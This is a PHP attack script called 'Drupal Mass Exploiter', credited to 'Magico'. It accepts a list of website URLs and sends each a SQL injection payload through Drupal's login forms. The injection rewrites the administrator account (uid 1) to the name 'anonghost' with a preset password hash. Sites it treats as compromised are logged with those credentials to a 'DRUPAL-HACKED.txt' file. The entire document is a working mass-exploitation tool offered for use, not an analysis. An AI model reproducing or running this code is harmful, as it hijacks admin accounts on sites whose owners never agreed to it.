[PHP] Drupal Mass Exploiter

<b>.:: Drupal Mass Exploiter Developed By Magico ::.</b><br><b>.:: https://www.facebook.com/magico.sec ::.</b><?phpecho'<form method="POST" action=""><textarea name="urls" cols="50" rows="16" placeholder="http://www.site.com/" ></textarea><br><input type="submit" name="submit" value="submit"></form>';$urls = $_POST['urls'];$sites = explode("\r\n",$urls);foreach($sites as $url){$url =trim($url);
$file = fopen("DRUPAL-HACKED.txt", "a");error_reporting(0);if (isset($_POST['submit'])) {//$url = $_POST['url'];$post_data = "name[0;update users set name %3D 'anonghost' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";$params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded", 'content' => $post_data));$ctx = stream_context_create($params);$data = file_get_contents($url . '/user/login/', null, $ctx);echo "<h4>Scanning at \"/user/login/</h4>\"";if ((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) {$fp = fopen("DRUPAL-HACKED.txt", 'a');echo "Success! User:anonghost Pass:admin at {$url}/user/login <br>";echo '<font color="#00FF66">Finished scanning. check => </font><a href="/DRUPAL-HACKED.txt" target="_blank">[ DRUPAL-HACKED.txt ]</a></font> ';echo "<br>---------------------------------------------------------------------------------------<br>";fwrite($fp, "Succes! User:anonghost Pass:admin -> {$url}/user/login");fwrite($fp, "");fwrite($fp, "======================================Magico==========================================================");fwrite($fp, "");fclose($fp);} else {echo "Error! Either the website isn't vulnerable, or your Internet isn't working.";}}if (isset($_POST['submit'])) {//$url = "http://" . $_GET['url'] . "/";$post_data = "name[0;update users set name %3D 'anonghost' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";$params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded", 'content' => $post_data));$ctx = stream_context_create($params);$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);echo "<h4>Scanning at \"Index</h4>\"";if (stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {$fp = fopen("DRUPAL-HACKED.txt", 'a');echo "Success! User:anonghost Pass:admin at {$url}/user/login <br>";echo '<font color="#00FF66">Finished scanning. check => </font><a href="/DRUPAL-HACKED.txt" target="_blank">[ DRUPAL-HACKED.txt ]</a></font> ';echo "<br>======================================================================================<br>";fwrite($fp, "Success! User:anonghost Pass:admin -> {$url}/user/login");fwrite($fp, "");fwrite($fp, "======================================Magico===========================================================");fwrite($fp, "");fclose($fp);} else {echo "Error! Either the website isn't vulnerable, or your Internet isn't working.";echo "<br>======================================================================================<br>";}}//==========}// end foreach

?>